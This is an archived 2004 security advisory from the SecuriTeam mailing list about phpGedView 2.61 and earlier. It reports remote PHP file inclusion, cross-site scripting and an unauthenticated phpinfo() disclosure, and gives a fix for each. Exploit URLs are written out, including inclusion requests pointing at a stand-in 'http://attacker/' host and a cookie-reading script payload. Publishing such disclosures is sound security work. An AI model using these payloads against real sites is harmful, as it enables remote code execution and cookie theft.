[UNIX] Multiple Vulnerabilities in phpGedView

From: SecuriTeam (support_at_securiteam.com)
Date: 01/07/04

  • Next message: SecuriTeam: "[UNIX] Multiple Vulnerabilities in Phorum (common.php, common.php, login.php, register.php)"
    To: list@securiteam.com
    Date: 7 Jan 2004 15:27:51 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Multiple Vulnerabilities in phpGedView
    ------------------------------------------------------------------------

    SUMMARY

     <http://phpGedView.sourceforge.net> phpGedView is an open source system
    for online viewing Gedcom information (family tree and genology
    information). Multiple vulnerabilities exist in the phpGedView product.
    Some of the problems enable a malicious user to inject arbitrary PHP and
    SQL code or view sensitive system information.

    DETAILS

    Vulnerable Systems:
     * phpGedView version 2.61 and prior

    PHP code injection:
    The vulnerability exists in the following scripts: functions.php,
    authentication_index.php, and config_gedcom.php.

    In authentication_index.php file at line 33:
    require $PGV_BASE_DIRECTORY."authenticate.php";

    In functions.php file at line 35:
    require($PGV_BASE_DIRECTORY."functions_print.php");

    In config_gedcom.php file at line 115:
    if (file_exists($PGV_BASE_DIRECTORY.$THEME_DIR."theme.php"))
    require($PGV_BASE_DIRECTORY.$THEME_DIR."theme.php");
    else {
    $THEME_DIR = $PGV_BASE_DIRECTORY."themes/standard/";
    require($THEME_DIR."theme.php");

    Exploits:
    http://target/phpgedview_folder/authentication_index.php?PGV_BASE_DIRECTORY=http://attacker/

    The above exploit will cause the script named authenticate.php to include
    the file found in http://attacker/.

    http://target/phpgedview_folder/functions.php?PGV_BASE_DIRECTORY=http://attacker/
    http://target/phpgedview_folder/config_gedcom.php?PGV_BASE_DIRECTORY=http://attacker/

    Similarly, the above exploits will cause an inclusion of an external file.

    Fix:
    In each of the vulnerable files, add the following line in the beginning
    of file:
    Require (config.php);

    Cross Site Scripting:
    A cross-site scripting vulnerability exists in the search.php file.

    Exploit:
    http://localhost/phpgedview/search.php?action=soundex&firstname=">&lt;script&gt;alert(document.cookie)&lt;/script&gt;

    Fix:
    < input type="text" name="firstname" value="<?php if ($action=="soundex")
    print $firstname; size="20" ?>" /></td></tr>
    < tr>< td><?php print $pgv_lang["lastname_search"]?></td>< td>
    < input type="text" name="lastname" value="<?php if ($action=="soundex")
    print $lastname; size="20" ?>" /></td></tr>
    < tr>< td><?php print $pgv_lang["search_place"]?></td>< td>
    < input type="text" name="place" value="<?php if ($action=="soundex")
    print $place; size="20" ?>" /></td></tr>
    < tr>< td><?php print $pgv_lang["search_year"]?></td>< td>
    < input type="text" name="year" value="<?php if ($action=="soundex") print
    $year; size="20" ?>" /></td></tr>

    With:
    < input type="text" name="firstname" value="" /></td></tr>
    < tr>< td><?php print $pgv_lang["lastname_search"]?></td>< td>
    < input type="text" name="lastname" value="" /></td></tr>
    < tr>< td><?php print $pgv_lang["search_place"]?></td>< td>
    < input type="text" name="place" value="" /></td></tr>
    < tr>< td><?php print $pgv_lang["search_year"]?></td>< td>
    < input type="text" name="year" value="" /></td></tr>

    phpinfo() Disclosure:
    The PHP server information is accessible to anyone (even unauthenticated
    users).

    Exploit:
    http://target/phpgedview_folder/admin.php?action=phpinfo

    Fix:
    Replace:
    if (!isset($action)) $action="";
    if ($action=="phpinfo") {
    phpinfo();
    exit;
    }

    if (!userIsAdmin(getUserName())) {
    header("Location: login.php?url=admin.php");
    exit;
    }

    With:
    if (!userIsAdmin(getUserName())) {
    header("Location: login.php?url=admin.php");
    exit;
    }
    if (!isset($action)) $action="";
    if ($action=="phpinfo") {
    phpinfo();
    exit;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:security@security.com.vn>
    Windak

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] Multiple Vulnerabilities in Phorum (common.php, common.php, login.php, register.php)"

    Relevant Pages